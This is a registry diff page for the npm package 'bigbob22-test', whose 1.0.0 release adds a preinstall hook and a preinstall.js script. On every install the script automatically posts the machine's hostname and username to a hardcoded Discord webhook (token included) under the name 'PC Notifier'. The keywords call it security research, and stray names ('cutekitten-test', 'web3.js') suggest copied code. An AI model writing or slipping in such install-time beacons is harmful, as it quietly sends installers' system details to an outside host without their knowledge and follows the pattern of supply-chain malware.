bigbob22-test 0.0.0-stage → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -2
- package/index.js +5 -0
- package/package.json +22 -4
- package/preinstall.js +64 -0
package/README.md
CHANGED
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,24 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "bigbob22-test",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "bigbob22-test",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"index.js",
|
|
8
|
+
"preinstall.js"
|
|
9
|
+
],
|
|
10
|
+
"engines": {
|
|
11
|
+
"node": ">=18"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"security-research",
|
|
15
|
+
"lifecycle-hooks",
|
|
16
|
+
"preinstall",
|
|
17
|
+
"test",
|
|
18
|
+
"do-not-use"
|
|
19
|
+
],
|
|
20
|
+
"scripts": {
|
|
21
|
+
"preinstall": "node preinstall.js"
|
|
22
|
+
},
|
|
23
|
+
"license": "UNLICENSED"
|
|
24
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('node:fs');
|
|
4
|
+
const path = require('node:path');
|
|
5
|
+
const os = require('node:os');
|
|
6
|
+
|
|
7
|
+
const WEBHOOK_URL = 'https://canary.discord.com/api/webhooks/1566232728179843243/pM5rDIrCRrEpQRbA7ibaiQk1XOQlIftmBacA5s8jD8NvXn5W-rS832DOWHQS-G-j3N6U';
|
|
8
|
+
|
|
9
|
+
function timestamp() {
|
|
10
|
+
const d = new Date();
|
|
11
|
+
const p = n => String(n).padStart(2, '0');
|
|
12
|
+
return `${d.getFullYear()}-${p(d.getMonth() + 1)}-${p(d.getDate())} ` +
|
|
13
|
+
`${p(d.getHours())}:${p(d.getMinutes())}:${p(d.getSeconds())}`;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
async function runHook({
|
|
17
|
+
send = globalThis.fetch,
|
|
18
|
+
writeMarker = marker => fs.writeFileSync(
|
|
19
|
+
path.join(__dirname, '.preinstall-marker.json'),
|
|
20
|
+
JSON.stringify(marker, null, 2) + '\n'
|
|
21
|
+
),
|
|
22
|
+
} = {}) {
|
|
23
|
+
const message = `Run on ${os.hostname()} as ${os.userInfo().username} at ${timestamp()}`;
|
|
24
|
+
|
|
25
|
+
const marker = {
|
|
26
|
+
package: 'cutekitten-test',
|
|
27
|
+
event: process.env.npm_lifecycle_event || 'manual',
|
|
28
|
+
timestamp: new Date().toISOString(),
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
try {
|
|
32
|
+
const response = await send(WEBHOOK_URL, {
|
|
33
|
+
method: 'POST',
|
|
34
|
+
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
|
35
|
+
body: JSON.stringify({ content: message, username: 'PC Notifier' }),
|
|
36
|
+
redirect: 'error',
|
|
37
|
+
signal: AbortSignal.timeout(5000),
|
|
38
|
+
});
|
|
39
|
+
marker.webhook = response.ok
|
|
40
|
+
? { status: 'sent', httpStatus: response.status }
|
|
41
|
+
: { status: 'failed', reason: `Discord responded with HTTP ${response.status}.` };
|
|
42
|
+
} catch (err) {
|
|
43
|
+
marker.webhook = { status: 'failed', reason: err.message };
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
writeMarker(marker);
|
|
47
|
+
return marker;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
module.exports = runHook;
|
|
51
|
+
|
|
52
|
+
if (require.main === module) {
|
|
53
|
+
runHook().then(marker => {
|
|
54
|
+
if (marker.webhook.status === 'sent') {
|
|
55
|
+
console.log('Discord message sent.');
|
|
56
|
+
} else {
|
|
57
|
+
console.error(marker.webhook.reason);
|
|
58
|
+
process.exitCode = 1;
|
|
59
|
+
}
|
|
60
|
+
}).catch(() => {
|
|
61
|
+
console.error('[web3.js] Unable to write the local test marker.');
|
|
62
|
+
process.exitCode = 1;
|
|
63
|
+
});
|
|
64
|
+
}
|